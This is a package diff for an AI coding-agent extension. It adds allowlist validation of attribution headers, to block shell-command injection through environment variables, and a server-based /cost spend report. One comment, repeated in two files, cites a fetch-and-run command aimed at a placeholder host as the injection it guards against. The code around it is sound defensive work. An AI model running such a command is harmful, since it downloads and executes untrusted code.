@yagni-app/code-staging 0.1.0-staging.997.1 → 0.2.0-staging.1025.1

package/dist/extension/config.d.ts

@@ -95,6 +95,67 @@ export interface ContextBrief {
         corrections: number;
     };
 }
+/**
+ * Attribution headers for the model proxy (YAG-471). On the SERVER side these
+ * are labels only: a malformed value is dropped without failing the
+ * completion, so this never gates a request there.
+ *
+ * On the CLIENT side, though, pi itself treats every provider header VALUE as
+ * a config template before the request ever leaves the process
+ * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
+ * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
+ * reference is interpolated from env and THROWS the whole request if that env
+ * var is unset. These four values ride straight from `process.env` — a stray
+ * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
+ * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
+ * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
+ * value that fails the check is dropped (or, for the caller, replaced with the
+ * `driver` default) rather than passed through raw; neither allowed charset
+ * (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
+ * or a leading `!`, so a value that passes can never trigger pi's template or
+ * command resolution.
+ *
+ * `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
+ * them against `llm_usage.session_id`, a UUID column) — the launcher mints the
+ * session id and `/go` threads the tracked run's server-assigned id, both
+ * already real UUIDs, so the shape check exists for the untrusted/malformed
+ * case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
+ * interactive session with no child/subagent/advisor label) whenever it is
+ * absent or fails the caller-label shape check.
+ */
+export declare function attributionHeaders(env?: NodeJS.ProcessEnv): Record<string, string>;
+/**
+ * Whether THIS process is the interactive driver session, as opposed to a
+ * `/go` stage child, a subagent, or an advisor consult. Mirrors
+ * {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
+ * env var, same shape check, same "driver" fallback) rather than re-deriving
+ * it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
+ * caller-label shape check) for the driver, and set to `go:<stage>`,
+ * `subagent:<name>`, or `advisor` for everything else (see runner.ts /
+ * subagents.ts / askAdvisorTool.ts).
+ *
+ * branding.ts uses this to gate the delegation-first directive onto the
+ * driver's system prompt only: a `/go` stage child has no `subagent` tool, so
+ * telling it to delegate is prompt noise at best and a hallucinated tool call
+ * at worst.
+ */
+export declare function isDriverCaller(env?: NodeJS.ProcessEnv): boolean;
+/**
+ * Sanitize a free-form name (a subagent's) into the caller-label charset the
+ * model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
+ * server-side): lowercase, replace every disallowed character with `-`, and
+ * cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
+ * smaller budget to leave room for a prefix like `subagent:`. Falls back to
+ * `agent` only when the result is truly empty (a blank/whitespace name) — an
+ * all-symbol name instead sanitizes to a run of dashes, which is returned
+ * as-is. That means the returned segment can start with `-`, `.`, or `_`, so
+ * it is server-valid only when a caller prefixes it with something
+ * alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
+ * requirement; it is not meant to be used as a caller label on its own. The
+ * server drops an invalid label silently rather than failing the request, so
+ * sanitizing client-side is what keeps the attribution instead of losing it.
+ */
+export declare function sanitizeCallerSegment(name: string, maxLength?: number): string;
 /** Options for {@link fetchContextBrief}. */
 export interface FetchContextBriefOptions {
     baseUrl: string;

package/dist/extension/config.js

@@ -87,6 +87,92 @@ export async function fetchCatalog(opts) {
     const data = (await res.json());
     return data.models;
 }
+/** Shape-check for a caller label: mirrors the model proxy's own validation regex. */
+const CALLER_LABEL_RE = /^[a-z0-9][a-z0-9:_.-]{0,63}$/i;
+/** Shape-check for a session/run id: the server requires a UUID (v1-v5). */
+const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
+/**
+ * Attribution headers for the model proxy (YAG-471). On the SERVER side these
+ * are labels only: a malformed value is dropped without failing the
+ * completion, so this never gates a request there.
+ *
+ * On the CLIENT side, though, pi itself treats every provider header VALUE as
+ * a config template before the request ever leaves the process
+ * (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
+ * starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
+ * reference is interpolated from env and THROWS the whole request if that env
+ * var is unset. These four values ride straight from `process.env` — a stray
+ * `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
+ * `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
+ * shape-checked against an allowlist BEFORE it goes anywhere near a header. A
+ * value that fails the check is dropped (or, for the caller, replaced with the
+ * `driver` default) rather than passed through raw; neither allowed charset
+ * (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
+ * or a leading `!`, so a value that passes can never trigger pi's template or
+ * command resolution.
+ *
+ * `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
+ * them against `llm_usage.session_id`, a UUID column) — the launcher mints the
+ * session id and `/go` threads the tracked run's server-assigned id, both
+ * already real UUIDs, so the shape check exists for the untrusted/malformed
+ * case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
+ * interactive session with no child/subagent/advisor label) whenever it is
+ * absent or fails the caller-label shape check.
+ */
+export function attributionHeaders(env = process.env) {
+    const headers = {};
+    const sessionId = env.YAGNI_SESSION_ID ?? "";
+    if (UUID_RE.test(sessionId))
+        headers["x-yagni-session-id"] = sessionId;
+    const runId = env.YAGNI_RUN_ID ?? "";
+    if (UUID_RE.test(runId))
+        headers["x-yagni-run-id"] = runId;
+    const caller = env.YAGNI_CALLER ?? "";
+    headers["x-yagni-caller"] = CALLER_LABEL_RE.test(caller) ? caller : "driver";
+    if (env.YAGNI_BOOST === "1")
+        headers["x-yagni-boost"] = "1";
+    return headers;
+}
+/**
+ * Whether THIS process is the interactive driver session, as opposed to a
+ * `/go` stage child, a subagent, or an advisor consult. Mirrors
+ * {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
+ * env var, same shape check, same "driver" fallback) rather than re-deriving
+ * it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
+ * caller-label shape check) for the driver, and set to `go:<stage>`,
+ * `subagent:<name>`, or `advisor` for everything else (see runner.ts /
+ * subagents.ts / askAdvisorTool.ts).
+ *
+ * branding.ts uses this to gate the delegation-first directive onto the
+ * driver's system prompt only: a `/go` stage child has no `subagent` tool, so
+ * telling it to delegate is prompt noise at best and a hallucinated tool call
+ * at worst.
+ */
+export function isDriverCaller(env = process.env) {
+    const caller = env.YAGNI_CALLER ?? "";
+    const effective = CALLER_LABEL_RE.test(caller) ? caller : "driver";
+    return effective === "driver";
+}
+/**
+ * Sanitize a free-form name (a subagent's) into the caller-label charset the
+ * model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
+ * server-side): lowercase, replace every disallowed character with `-`, and
+ * cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
+ * smaller budget to leave room for a prefix like `subagent:`. Falls back to
+ * `agent` only when the result is truly empty (a blank/whitespace name) — an
+ * all-symbol name instead sanitizes to a run of dashes, which is returned
+ * as-is. That means the returned segment can start with `-`, `.`, or `_`, so
+ * it is server-valid only when a caller prefixes it with something
+ * alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
+ * requirement; it is not meant to be used as a caller label on its own. The
+ * server drops an invalid label silently rather than failing the request, so
+ * sanitizing client-side is what keeps the attribution instead of losing it.
+ */
+export function sanitizeCallerSegment(name, maxLength = 64) {
+    const cleaned = name.trim().toLowerCase().replace(/[^a-z0-9_.-]/g, "-");
+    const trimmed = cleaned.slice(0, Math.max(0, maxLength));
+    return trimmed || "agent";
+}
 /**
  * Fetch the workspace company brief at startup.
  *

package/dist/extension/costHud.d.ts

@@ -12,8 +12,18 @@
  * (the same shape events.ts already reads off the NDJSON stream). So the
  * accumulator hangs off `turn_end`, not `after_provider_response`.
  *
- * The accumulator + formatter are PURE; the headroom fetch is injectable and
- * fail-soft, so /cost always reports session usage even when the backend is down.
+ * YAG-383: the backend now serves `GET /api/yagni-code/spend?sessionId=`, a
+ * server-authoritative figure invisible to `turn_end` (subagents and advisor
+ * consults bill under this same session id, so a plain `sessionId=` query
+ * already sees them). `/go`'s children are the one exception: they bill under
+ * their OWN run id (`llm_usage.session_id` holds the run id, not the driver's
+ * session id, for a run-attributed dispatch), so the fetch also widens with
+ * `&runIds=` for every run this session has launched (see sessionRuns.ts and
+ * the goCommand.ts seam that records one as soon as it is known). `/cost`
+ * PREFERS that combined number. The local `turn_end` accumulator remains as
+ * the fail-soft fallback: it only ever sees the driver's own turns, so
+ * whenever it is shown it is explicitly labeled "(local, driver only)" rather
+ * than presented as the whole session's spend.
  */
 import type { ExtensionAPI } from "@earendil-works/pi-coding-agent";
 /** A single turn's usage delta, normalized from pi's message.usage shape. */
@@ -42,32 +52,135 @@ export interface Headroom {
     remaining: number;
     unit: string;
 }
+export declare function formatCostLine(snap: CostSnapshot, headroom?: Headroom | null, advisorLine?: string, source?: string, boosted?: boolean): string;
 /**
- * Render the /cost line. Pure, no em-dashes. `headroom` null means it was
- * unavailable. `advisorLine` is the ask_advisor subtotal (empty when the session
- * never escalated).
+ * One row of `GET /api/yagni-code/spend`'s per-caller x rate-tier breakdown.
+ * Mirrored locally rather than importing `@yagni/shared`, since this extension
+ * has no dependency on the shared package (see `YagniCodeSpendRow` in
+ * `packages/shared/src/types.ts` for the canonical, fuller-commented
+ * definition this must stay shape-compatible with).
+ */
+export interface SpendRow {
+    caller: string;
+    rateTier: string;
+    boost: boolean;
+    dispatches: number;
+    promptTokens: number;
+    completionTokens: number;
+    cacheReadTokens: number;
+    cacheCreationTokens: number;
+    sellMillicents: number;
+    counterfactualMillicents: number | null;
+}
+/** `GET /api/yagni-code/spend`'s response shape (mirrors `YagniCodeSpendResponse`). */
+export interface SpendResponse {
+    rows: SpendRow[];
+    totalSellMillicents: number;
+    unbilledSellMillicents: number;
+    totalCounterfactualMillicents: number;
+    savingsMillicents: number;
+    savingsPercent: number | null;
+    counterfactualIncomplete: boolean;
+}
+/**
+ * Millicents (1/1000 of a cent) -> dollars, 2 decimals. Guards against a
+ * malformed response field (NaN/Infinity) rendering as literal "NaN"/"Infinity"
+ * in a dollar amount: render $0.00 instead, since a network response is
+ * untyped at runtime and every other guard in this module is best-effort.
+ *
+ * Exported so `/go`'s per-stage cost table (runCostTable.ts, Task 8) reuses
+ * this exact money formatting instead of duplicating it.
+ */
+export declare const usd: (millicents: number) => string;
+/**
+ * Render the server-authoritative /cost lines: PREFERRED over
+ * {@link formatCostLine}'s local accumulator whenever the spend fetch succeeds
+ * (see `registerCostCommand`'s empty-response guard for the one exception),
+ * because it covers children the local accumulator cannot see (subagents,
+ * advisor consults, and every /go run this session launched, widened in via
+ * `runIds` before the fetch even runs). Pure, no em-dashes, multi-line
+ * (joined with "\n").
+ *
+ * Line order: total spend, one line per rate tier (aggregated across callers,
+ * sorted by spend descending), a boosted-spend subtotal per tier that has any
+ * boosted rows, a live-toggle boost line (see below), the savings line (only
+ * when a counterfactual total resolved), an incomplete-counterfactual note,
+ * an unbilled note, a dropped-run-ids note (carry-over from the /cost
+ * re-review — see sessionRuns.ts's `droppedSessionRuns`), then headroom.
+ *
+ * `droppedRunCount` defaults to 0 (no note) so every existing direct caller
+ * of this pure function keeps behaving identically without passing it.
  *
- * HONESTY NOTE: this counter can only see the DRIVER session, because it is fed
- * by pi's `turn_end`. Work that runs in a child process — every /go stage, and
- * every advisor consult — never emits a parent `turn_end`, so it is invisible
- * here. The advisor subtotal is threaded in explicitly for exactly that reason.
- * /go's spend is still missing; the server-authoritative fix is YAG-383.
+ * `boosted` (default false) is the LIVE client-side toggle from
+ * `boostCommand.ts`'s `isBoosted()`, threaded in exactly like `advisorLine`
+ * is for {@link formatCostLine}. It is independent of the per-tier "Boosted
+ * (tier) spend" subtotal above: that subtotal only reflects server rows
+ * carrying `x-yagni-boost`, which only `/go` children (and other spawned
+ * processes) ever send — the driver's own turns never do (see
+ * boostCommand.ts's KNOWN-asymmetry docblock). Without this flag, a session
+ * that only chats while boosted would show no boost line at all.
  */
-export declare function formatCostLine(snap: CostSnapshot, headroom?: Headroom | null, advisorLine?: string): string;
+export declare function formatServerCostLines(spend: SpendResponse, headroom?: Headroom | null, droppedRunCount?: number, boosted?: boolean): string;
 export interface RegisterCostDeps {
     /** Fetch remaining credit headroom; return null when unavailable. Fail-soft. */
     fetchHeadroom?: (signal?: AbortSignal) => Promise<Headroom | null>;
     /**
      * Render the ask_advisor subtotal for this session, or "" when it never
      * escalated. Threaded in because advisor consults run in a child process and
-     * so never reach the `turn_end` accumulator.
+     * so never reach the `turn_end` accumulator. Only used in the local fallback
+     * line: the server-authoritative line already includes advisor spend as an
+     * ordinary caller row.
      */
     advisorSubtotal?: () => string;
+    /**
+     * Whether the session is currently boosted to Peak (boostCommand.ts's
+     * `isBoosted()`, threaded in the same way as `advisorSubtotal`). Unlike
+     * `advisorSubtotal`, this is read on BOTH the server-authoritative and the
+     * local-fallback branch: the driver's own turns never carry a server-side
+     * boost marker (see boostCommand.ts's KNOWN-asymmetry docblock), so this is
+     * the only signal that would otherwise be missing from the server branch.
+     */
+    isBoosted?: () => boolean;
+    /**
+     * Fetch the server-authoritative session spend (YAG-383). Absent, throwing,
+     * or resolving null all fall back to the local `turn_end` accumulator, with
+     * its source explicitly labeled so it is never mistaken for the full total.
+     */
+    fetchSpend?: (signal?: AbortSignal) => Promise<SpendResponse | null>;
+    /**
+     * Quiet diagnostic hook: fired when the server's DRIVER-scoped spend (the
+     * `spend.rows` entries with `caller === "driver"` — the same scope the
+     * local `turn_end` accumulator can see) and the local accumulator disagree
+     * by more than {@link DIVERGENCE_THRESHOLD} (relative to the larger), so
+     * long as both are available. NEVER user-facing: the caller decides
+     * whether/where to log it. Defaults to a no-op.
+     *
+     * Carry-over fix from the /cost re-review: this used to compare against
+     * `spend.totalSellMillicents`, which (since YAG-383's `runIds` widening)
+     * includes every `/go` run this session launched — spend the LOCAL
+     * accumulator can never see (every /go stage runs in a child process). That
+     * made the two totals disagree by construction on any session with a /go
+     * run behind it, firing on effectively every post-run /cost rather than on
+     * a genuine drift between the two driver-scoped measurements.
+     */
+    onDivergence?: (driverServerUsd: number, localUsd: number) => void;
+    /**
+     * Count of `/go` run ids this session has ever dropped off the
+     * `MAX_TRACKED_RUN_IDS` cap (sessionRuns.ts's `droppedSessionRuns`).
+     * Carry-over from the /cost re-review: surfaced as an honest "Excludes N
+     * earlier /go runs." note on the server-authoritative line so a very
+     * long-lived session's total is never silently missing runs. Absent (or
+     * returning 0) omits the note entirely.
+     */
+    droppedSessionRuns?: () => number;
 }
 /**
- * Wire the turn_end accumulator + the /cost command. /cost reports the session
- * totals plus headroom (when the fetch resolves); a failing or absent fetch still
- * reports session usage. `/cost reset` zeroes the session counter.
+ * Wire the turn_end accumulator + the /cost command. /cost prefers the
+ * server-authoritative spend (fetched fresh on every call); a failing, absent,
+ * or null-resolving fetch falls back to the local session accumulator, labeled
+ * "(local, driver only)" so it is never mistaken for the whole session's spend.
+ * `/cost reset` zeroes only the local counter. The server figure is
+ * unaffected, and the reset notice says so.
  */
 export declare function registerCostCommand(pi: ExtensionAPI, deps?: RegisterCostDeps): void;
 //# sourceMappingURL=costHud.d.ts.map

package/dist/extension/costHud.js

@@ -12,8 +12,18 @@
  * (the same shape events.ts already reads off the NDJSON stream). So the
  * accumulator hangs off `turn_end`, not `after_provider_response`.
  *
- * The accumulator + formatter are PURE; the headroom fetch is injectable and
- * fail-soft, so /cost always reports session usage even when the backend is down.
+ * YAG-383: the backend now serves `GET /api/yagni-code/spend?sessionId=`, a
+ * server-authoritative figure invisible to `turn_end` (subagents and advisor
+ * consults bill under this same session id, so a plain `sessionId=` query
+ * already sees them). `/go`'s children are the one exception: they bill under
+ * their OWN run id (`llm_usage.session_id` holds the run id, not the driver's
+ * session id, for a run-attributed dispatch), so the fetch also widens with
+ * `&runIds=` for every run this session has launched (see sessionRuns.ts and
+ * the goCommand.ts seam that records one as soon as it is known). `/cost`
+ * PREFERS that combined number. The local `turn_end` accumulator remains as
+ * the fail-soft fallback: it only ever sees the driver's own turns, so
+ * whenever it is shown it is explicitly labeled "(local, driver only)" rather
+ * than presented as the whole session's spend.
  */
 /** A pure, session-scoped usage accumulator. */
 export function makeCostAccumulator() {
@@ -55,34 +65,143 @@ const fmt = (n) => n.toLocaleString("en-US");
 /**
  * Render the /cost line. Pure, no em-dashes. `headroom` null means it was
  * unavailable. `advisorLine` is the ask_advisor subtotal (empty when the session
- * never escalated).
+ * never escalated). `source`, when given, is parenthesized right after "Session
+ * usage", used to explicitly label this as the LOCAL, driver-only fallback when
+ * the server-authoritative spend fetch is unavailable (see
+ * {@link formatServerCostLines}, the preferred path).
  *
  * HONESTY NOTE: this counter can only see the DRIVER session, because it is fed
  * by pi's `turn_end`. Work that runs in a child process — every /go stage, and
  * every advisor consult — never emits a parent `turn_end`, so it is invisible
  * here. The advisor subtotal is threaded in explicitly for exactly that reason.
- * /go's spend is still missing; the server-authoritative fix is YAG-383.
  */
-export function formatCostLine(snap, headroom, advisorLine) {
+/** The boost-active line appended to /cost, both branches (see boostCommand.ts's docblock for why). */
+const BOOST_LINE = "Boost is on. Driver turns bill at the peak tier.";
+export function formatCostLine(snap, headroom, advisorLine, source, boosted = false) {
     const turns = `${snap.turns} turn${snap.turns === 1 ? "" : "s"}`;
     const cached = snap.cacheRead > 0 ? ` (${fmt(snap.cacheRead)} cached)` : "";
-    const base = `Session usage: ${turns}, ${fmt(snap.input)} in / ${fmt(snap.output)} out tokens${cached}, ` +
+    const label = source ? `Session usage (${source})` : "Session usage";
+    const base = `${label}: ${turns}, ${fmt(snap.input)} in / ${fmt(snap.output)} out tokens${cached}, ` +
         `$${snap.cost.toFixed(2)} this session.`;
     const advisor = advisorLine?.trim() ? ` ${advisorLine.trim()}` : "";
+    const boost = boosted ? ` ${BOOST_LINE}` : "";
     if (headroom)
-        return `${base}${advisor} Credit headroom: ${headroom.remaining} ${headroom.unit}.`;
+        return `${base}${advisor}${boost} Credit headroom: ${headroom.remaining} ${headroom.unit}.`;
     if (headroom === null)
-        return `${base}${advisor} Credit headroom unavailable right now.`;
-    return `${base}${advisor}`;
+        return `${base}${advisor}${boost} Credit headroom unavailable right now.`;
+    return `${base}${advisor}${boost}`;
 }
 /**
- * Wire the turn_end accumulator + the /cost command. /cost reports the session
- * totals plus headroom (when the fetch resolves); a failing or absent fetch still
- * reports session usage. `/cost reset` zeroes the session counter.
+ * Millicents (1/1000 of a cent) -> dollars, 2 decimals. Guards against a
+ * malformed response field (NaN/Infinity) rendering as literal "NaN"/"Infinity"
+ * in a dollar amount: render $0.00 instead, since a network response is
+ * untyped at runtime and every other guard in this module is best-effort.
+ *
+ * Exported so `/go`'s per-stage cost table (runCostTable.ts, Task 8) reuses
+ * this exact money formatting instead of duplicating it.
+ */
+export const usd = (millicents) => {
+    if (!Number.isFinite(millicents))
+        return "0.00";
+    return (millicents / 100_000).toFixed(2);
+};
+/**
+ * Render the server-authoritative /cost lines: PREFERRED over
+ * {@link formatCostLine}'s local accumulator whenever the spend fetch succeeds
+ * (see `registerCostCommand`'s empty-response guard for the one exception),
+ * because it covers children the local accumulator cannot see (subagents,
+ * advisor consults, and every /go run this session launched, widened in via
+ * `runIds` before the fetch even runs). Pure, no em-dashes, multi-line
+ * (joined with "\n").
+ *
+ * Line order: total spend, one line per rate tier (aggregated across callers,
+ * sorted by spend descending), a boosted-spend subtotal per tier that has any
+ * boosted rows, a live-toggle boost line (see below), the savings line (only
+ * when a counterfactual total resolved), an incomplete-counterfactual note,
+ * an unbilled note, a dropped-run-ids note (carry-over from the /cost
+ * re-review — see sessionRuns.ts's `droppedSessionRuns`), then headroom.
+ *
+ * `droppedRunCount` defaults to 0 (no note) so every existing direct caller
+ * of this pure function keeps behaving identically without passing it.
+ *
+ * `boosted` (default false) is the LIVE client-side toggle from
+ * `boostCommand.ts`'s `isBoosted()`, threaded in exactly like `advisorLine`
+ * is for {@link formatCostLine}. It is independent of the per-tier "Boosted
+ * (tier) spend" subtotal above: that subtotal only reflects server rows
+ * carrying `x-yagni-boost`, which only `/go` children (and other spawned
+ * processes) ever send — the driver's own turns never do (see
+ * boostCommand.ts's KNOWN-asymmetry docblock). Without this flag, a session
+ * that only chats while boosted would show no boost line at all.
+ */
+export function formatServerCostLines(spend, headroom, droppedRunCount = 0, boosted = false) {
+    const lines = [`Session spend: $${usd(spend.totalSellMillicents)} (server).`];
+    const tierTotals = new Map();
+    for (const row of spend.rows) {
+        const agg = tierTotals.get(row.rateTier) ?? { sellMillicents: 0, dispatches: 0 };
+        agg.sellMillicents += row.sellMillicents;
+        agg.dispatches += row.dispatches;
+        tierTotals.set(row.rateTier, agg);
+    }
+    const tiersSorted = [...tierTotals.entries()].sort((a, b) => b[1].sellMillicents - a[1].sellMillicents);
+    for (const [tier, agg] of tiersSorted) {
+        const calls = `${fmt(agg.dispatches)} call${agg.dispatches === 1 ? "" : "s"}`;
+        lines.push(`  ${tier}: $${usd(agg.sellMillicents)} over ${calls}.`);
+    }
+    const boostTotals = new Map();
+    for (const row of spend.rows) {
+        if (!row.boost)
+            continue;
+        boostTotals.set(row.rateTier, (boostTotals.get(row.rateTier) ?? 0) + row.sellMillicents);
+    }
+    if (boostTotals.size > 0) {
+        for (const [tier] of tiersSorted) {
+            const tierBoosted = boostTotals.get(tier);
+            if (tierBoosted === undefined)
+                continue;
+            lines.push(`  Boosted (${tier}) spend: $${usd(tierBoosted)}.`);
+        }
+    }
+    if (boosted) {
+        lines.push(BOOST_LINE);
+    }
+    // typeof guard (not just !== null): a network response is untyped at
+    // runtime, and a stray string/boolean here must never sneak "NN%" into the
+    // rendered line.
+    if (typeof spend.savingsPercent === "number") {
+        lines.push(`Saved $${usd(spend.savingsMillicents)} (${spend.savingsPercent}%) vs frontier list prices.`);
+    }
+    if (spend.counterfactualIncomplete) {
+        lines.push("Savings shown for priced tiers only.");
+    }
+    if (spend.unbilledSellMillicents > 0) {
+        // Matches YagniCodeUsageView.tsx's wording for the same figure.
+        lines.push(`Includes $${usd(spend.unbilledSellMillicents)} not yet billed (insufficient credits or a billing error).`);
+    }
+    if (droppedRunCount > 0) {
+        lines.push(`Excludes ${fmt(droppedRunCount)} earlier /go run${droppedRunCount === 1 ? "" : "s"}.`);
+    }
+    if (headroom) {
+        lines.push(`Credit headroom: ${headroom.remaining} ${headroom.unit}.`);
+    }
+    else if (headroom === null) {
+        lines.push("Credit headroom unavailable right now.");
+    }
+    return lines.join("\n");
+}
+/** A server/local total pair diverges enough to be worth a quiet debug note. */
+const DIVERGENCE_THRESHOLD = 0.1; // 10%, relative to the larger of the two
+/**
+ * Wire the turn_end accumulator + the /cost command. /cost prefers the
+ * server-authoritative spend (fetched fresh on every call); a failing, absent,
+ * or null-resolving fetch falls back to the local session accumulator, labeled
+ * "(local, driver only)" so it is never mistaken for the whole session's spend.
+ * `/cost reset` zeroes only the local counter. The server figure is
+ * unaffected, and the reset notice says so.
  */
 export function registerCostCommand(pi, deps = {}) {
     const acc = makeCostAccumulator();
     const fetchHeadroom = deps.fetchHeadroom;
+    const fetchSpend = deps.fetchSpend;
     pi.on("turn_end", (event) => {
         try {
             acc.add(usageFromMessage(event.message));
@@ -96,18 +215,69 @@ export function registerCostCommand(pi, deps = {}) {
         handler: async (args, ctx) => {
             if (args.trim().toLowerCase() === "reset") {
                 acc.reset();
-                if (ctx.hasUI)
-                    ctx.ui.notify("Session usage counter reset.", "info");
+                if (ctx.hasUI) {
+                    ctx.ui.notify("Session usage counter reset. Server totals are unaffected.", "info");
+                }
                 return;
             }
-            let headroom = undefined;
-            if (fetchHeadroom) {
+            // Run headroom + spend concurrently: two SEQUENTIAL fail-soft fetches
+            // would each burn their own timeout on a slow/unreachable backend
+            // (worst case double the silence before /cost says anything at all).
+            // Promise.all bounds the wait to whichever is slower, not their sum.
+            const [headroom, spend] = await Promise.all([
+                fetchHeadroom
+                    ? fetchHeadroom(ctx.signal).catch(() => null) // fail-soft: still report session usage
+                    : Promise.resolve(undefined),
+                fetchSpend
+                    ? fetchSpend(ctx.signal).catch(() => null) // fail-soft: fall back to the local accumulator
+                    : Promise.resolve(null),
+            ]);
+            const localSnap = acc.snapshot();
+            // Read fresh on every /cost call, both branches (see RegisterCostDeps's
+            // isBoosted doc comment for why the local fallback needs it too).
+            let boosted = false;
+            try {
+                boosted = deps.isBoosted?.() ?? false;
+            }
+            catch {
+                /* a diagnostic must never break /cost */
+            }
+            // Quiet divergence check: both totals must be available, and it never
+            // affects what the user sees. Scoped to `caller === "driver"` rows only
+            // (like-for-like with the local `turn_end` accumulator, which can only
+            // ever see the driver's own turns) — NOT spend.totalSellMillicents,
+            // which includes every /go run this session launched and would
+            // otherwise disagree with the local total by construction. See the
+            // onDivergence doc comment above for the full story.
+            if (spend) {
+                try {
+                    const driverServerUsd = spend.rows.filter((r) => r.caller === "driver").reduce((sum, r) => sum + r.sellMillicents, 0) / 100_000;
+                    const localUsd = localSnap.cost;
+                    const larger = Math.max(driverServerUsd, localUsd);
+                    if (larger > 0 && Math.abs(driverServerUsd - localUsd) / larger > DIVERGENCE_THRESHOLD) {
+                        deps.onDivergence?.(driverServerUsd, localUsd);
+                    }
+                }
+                catch {
+                    /* a diagnostic must never break /cost */
+                }
+            }
+            // An empty server response (no rows at all) alongside a NONZERO local
+            // accumulator is more likely billing lag (the row has not landed yet)
+            // than an honestly-zero session: showing "$0.00 (server)" over real,
+            // already-observed local spend would read as a regression, not a fix.
+            // Prefer the labeled local line in exactly this state.
+            const serverLooksStale = spend !== null && spend.rows.length === 0 && localSnap.turns > 0;
+            if (spend && !serverLooksStale) {
+                let dropped = 0;
                 try {
-                    headroom = await fetchHeadroom(ctx.signal);
+                    dropped = deps.droppedSessionRuns?.() ?? 0;
                 }
                 catch {
-                    headroom = null; // fail-soft: still report session usage
+                    /* a diagnostic must never break /cost */
                 }
+                await pi.sendUserMessage(formatServerCostLines(spend, headroom, dropped, boosted));
+                return;
             }
             let advisorLine = "";
             try {
@@ -116,7 +286,7 @@ export function registerCostCommand(pi, deps = {}) {
             catch {
                 /* usage accounting must never break /cost */
             }
-            await pi.sendUserMessage(formatCostLine(acc.snapshot(), headroom, advisorLine));
+            await pi.sendUserMessage(formatCostLine(localSnap, headroom, advisorLine, "local, driver only", boosted));
         },
     });
 }